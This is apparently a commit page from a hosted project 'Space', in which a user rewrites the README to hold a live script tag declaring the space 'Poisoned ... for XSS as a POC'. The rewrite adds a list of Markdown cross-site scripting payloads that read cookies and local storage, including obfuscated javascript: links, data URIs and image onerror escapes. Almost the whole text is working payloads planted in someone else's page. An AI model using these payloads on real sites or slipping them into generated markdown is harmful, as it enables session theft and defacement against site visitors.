datoto9019 commited on
Commit
5dfd1ed
·
verified ·
1 Parent(s): 87438f8

<script>alert('This Space Was Poisoned By Thee Eclipse for XSS as a POC')</script>

Browse files

# Markdown XSS Payloads

## Links

```markdown
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
```

## Images

```markdown
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```

## Fuzzing

```markdown
[XSS](javascript:prompt(document.cookie))
[XSS](j a v a s c r i p t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](Javascript:alert(1))
[XSS](Javas%26%2399;ript:alert(1))
[XSS](javascript:alert￾(1))
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](javascript:alert(document.domain))
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
```

Files changed (1) hide show
  1. README.md +58 -3
README.md CHANGED
@@ -1,3 +1,58 @@
1
- ---
2
- license: mit
3
- ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ ---
4
+
5
+
6
+ <script>alert('This Space Was Poisoned By Thee Eclipse for XSS as a POC')</script>
7
+
8
+ fd
9
+
10
+ # Markdown XSS Payloads
11
+
12
+ ## Links
13
+
14
+ ```markdown
15
+ [Basic](javascript:alert('Basic'))
16
+ [Local Storage](javascript:alert(JSON.stringify(localStorage)))
17
+ [CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
18
+ [URL](javascript://www.google.com%0Aalert('URL'))
19
+ [In Quotes]('javascript:alert("InQuotes")')
20
+ ```
21
+
22
+ ## Images
23
+
24
+ ```markdown
25
+ ![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
26
+ ![Escape SRC - onerror]("onerror="alert('ImageOnError'))
27
+ ```
28
+
29
+ ## Fuzzing
30
+
31
+ ```markdown
32
+ [XSS](javascript:prompt(document.cookie))
33
+ [XSS](j a v a s c r i p t:prompt(document.cookie))
34
+ [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
35
+ [XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
36
+ [XSS]: (javascript:prompt(document.cookie))
37
+ [XSS](javascript:window.onerror=alert;throw%20document.cookie)
38
+ [XSS](javascript://%0d%0aprompt(1))
39
+ [XSS](javascript://%0d%0aprompt(1);com)
40
+ [XSS](javascript:window.onerror=alert;throw%20document.cookie)
41
+ [XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
42
+ [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
43
+ [XSS](vbscript:alert(document.domain))
44
+ [XSS](javascript:this;alert(1))
45
+ [XSS](javascript:this;alert(1&#41;)
46
+ [XSS](javascript&#58this;alert(1&#41;)
47
+ [XSS](Javas&#99;ript:alert(1&#41;)
48
+ [XSS](Javas%26%2399;ript:alert(1&#41;)
49
+ [XSS](javascript:alert&#65534;(1&#41;)
50
+ [XSS](javascript:confirm(1)
51
+ [XSS](javascript://www.google.com%0Aprompt(1))
52
+ [XSS](javascript://%0d%0aconfirm(1);com)
53
+ [XSS](javascript:window.onerror=confirm;throw%201)
54
+ [XSS](javascript:alert(document.domain&#41;)
55
+ ![XSS](javascript:prompt(document.cookie))\
56
+ ![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
57
+ ![XSS'"`onerror=prompt(document.cookie)](x)\
58
+ ```